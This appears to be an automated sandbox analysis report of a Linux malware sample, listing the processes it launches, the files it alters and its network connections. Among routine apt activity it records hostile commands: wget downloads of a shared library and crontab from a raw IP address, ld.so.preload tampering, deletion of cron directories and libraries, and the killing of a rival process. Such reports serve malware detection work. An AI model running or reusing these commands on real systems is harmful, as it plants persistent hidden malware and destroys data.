Technical Information
Malicious functions:
Removes itself
Launches processes:
- rm -rf /tmp/apt-key-gpghome.L3UqIimRtk
- cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
- gpgconf --kill all
- touch /etc/ld.so.preload > /dev/null 2>&1
- chmod 700 /tmp/apt-key-gpghome.L3UqIimRtk
- find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 ( -name *.gpg -o -name *.asc )
- cat /etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
- chmod 644 /etc/crontab
- /bin/sh /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.OlGN0G /tmp/apt.data.oB3BFH
- /usr/bin/pgrep pkill -9 tmp
- pkill -9 tmp > /dev/null 2>&1
- cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
- mkdir /var/tmp > /dev/null 2>&1
- mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
- cat /etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
- sort
- apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
- touch /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg
- rm -rf /etc/ld.so.preload > /dev/null 2>&1
- nohup apt update -y > /dev/null 2>&1; nohup apt install cron -y > /dev/null 2>&1
- apt update -y
- /bin/sh /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.PLuuML /tmp/apt.data.yqrTrL
- nohup apt update -y
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
- cat /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
- chmod 644 /etc/crontab > /dev/null 2>&1
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
- /usr/lib/apt/methods/http
- readlink -f /etc/apt/trusted.gpg.d/
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
- killall -9 tmp > /dev/null 2>&1
- apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
- rm -rf /etc/ld.so.preload
- apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
- rm -f /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg
- gpg-connect-agent -s --no-autostart GETINFO scd_running /if ${! $?} scd killscd /end
- /usr/bin/dpkg --print-foreign-architectures
- apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
- cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
- apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
- rm -rf /var/spool/cron/crontabs/* > /dev/null 2>&1
- rm -rf /usr/local/lib/*.so > /dev/null 2>&1
- touch /etc/ld.so.preload
- apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
- rm -rf /etc/crontab
- wget -nc http://185.196.9.190/sdk/crontab -q -P /etc/crontab
- rm -rf /var/spool/cron/crontabs/*
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
- sed -e s#\x27#\x27\x22\x27\x22\x27#g
- gpgv --homedir /tmp/apt-key-gpghome.L3UqIimRtk --keyring /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.PLuuML /tmp/apt.data.yqrTrL
- cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
- gpg-connect-agent --no-autostart KILLAGENT
- /usr/lib/apt/methods/gpgv
- cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
- rm -rf /etc/cron/*
- /usr/lib/apt/methods/https
- wget -nc -q -P /usr/local/lib http://185.196.9.190/sdk/initrc.so
- rm -rf /etc/cron/* > /dev/null 2>&1
- apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
- apt-config shell GPGV Apt::Key::gpgvcommand
- rm -rf /usr/local/lib/*.so
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
- wget -nc http://185.196.9.190/sdk/crontab -q -P /etc/crontab 2>&1
- readlink -f /tmp/apt-key-gpghome.L3UqIimRtk
- cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
- cmp --silent --bytes=1 - /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
- cp -a /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg /tmp/apt-key-gpghome.L3UqIimRtk/pubring.orig.gpg
- gpg-connect-agent --no-autostart --dirmngr KILLDIRMNGR
- mkdir /var/tmp
Kills the following processes:
- kdevtmpfs
- http
- gpgv
Performs operations with the file system:
Modifies file access rights:
- /etc/crontab
- /var/lib/apt/lists/partial
- /var/lib/apt/lists/auxfiles
- /var/lib/apt/lists/deb.debian.org_debian_dists_bullseye_InRelease
- /var/lib/apt/lists/partial/deb.debian.org_debian_dists_bullseye-updates_InRelease
- /var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
- /var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
- /tmp/apt-key-gpghome.L3UqIimRtk
Modifies file owner:
- /var/lib/apt/lists/partial
- /var/lib/apt/lists/auxfiles
- /var/lib/apt/lists/deb.debian.org_debian_dists_bullseye_InRelease
- /var/lib/apt/lists/partial/deb.debian.org_debian_dists_bullseye-updates_InRelease
- /var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
- /var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
Creates folders:
- /etc/crontab
- /tmp/apt-key-gpghome.L3UqIimRtk
Deletes folders:
- /tmp/apt-key-gpghome.L3UqIimRtk
Creates or modifies files:
- /etc/ld.so.preload
- /usr/local/lib/initrc.so
- /etc/crontab/crontab
- /tmp/#130829 (deleted)
- /var/lib/apt/lists/lock
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.ckjkn3
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.S6fvA6
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.WjUwl4
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.6i7yp5
- /var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
- /var/lib/apt/lists/partial/deb.debian.org_debian_dists_bullseye-updates_InRelease
- /tmp/apt.conf.YkAlYM
- /tmp/apt.sig.PLuuML
- /tmp/apt.data.yqrTrL
- /var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.orig.gpg
- /tmp/apt-key-gpghome.L3UqIimRtk/gpg.1.sh
- /tmp/apt.conf.494KoK
- /tmp/apt.sig.OlGN0G
- /tmp/apt.data.oB3BFH
Deletes files:
- /etc/crontab
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.ckjkn3
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.S6fvA6
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.WjUwl4
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.6i7yp5
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.orig.gpg
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg
- /tmp/apt-key-gpghome.L3UqIimRtk/gpg.1.sh
- /tmp/apt.conf.YkAlYM
- /tmp/apt.sig.PLuuML
- /tmp/apt.data.yqrTrL
Changes time of creation/access/modification of files:
- /etc/ld.so.preload
- /usr/local/lib/initrc.so
- /etc/crontab/crontab
- /var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
- /var/lib/apt/lists/partial/deb.debian.org_debian_dists_bullseye-updates_InRelease
- /var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.gpg
- /tmp/apt-key-gpghome.L3UqIimRtk/pubring.orig.gpg
Network activity:
Establishes connection:
- 18#.##6.9.190:80
- 8.#.8.8:53
- 15#.##1.246.132:80
- [2#####e42:3a::644]:80
- 10#.##6.22.116:443
- (e##val)
- 10#.##6.22.21:443
- 10#.##6.22.86:443
- 10#.##6.22.127:443
- [2##########368:e600:3:db06:4200:93a1]:443
- [2##########368:6600:3:db06:4200:93a1]:443
- [2##########368:f600:3:db06:4200:93a1]:443
- [2##########368:600:3:db06:4200:93a1]:443
- [2##########368:ce00:3:db06:4200:93a1]:443
- [2##########368:ea00:3:db06:4200:93a1]:443
- [2##########368:9c00:3:db06:4200:93a1]:443
- [2##########368:7200:3:db06:4200:93a1]:443
DNS ASK:
- _h####.##cp.download.docker.com
- _h###.###p.security.debian.org
- _h###.##cp.deb.debian.org
- de####.#ap.fastlydns.net
- do####ad.docker.com
Sends data to the following servers:
- 18#.##6.9.190:80
- 15#.##1.246.132:80
- 10#.##6.22.116:443
Receives data from the following servers:
- 18#.##6.9.190:80
- 15#.##1.246.132:80
- 10#.##6.22.116:443
Other:
Collects OS information
Collects CPU information
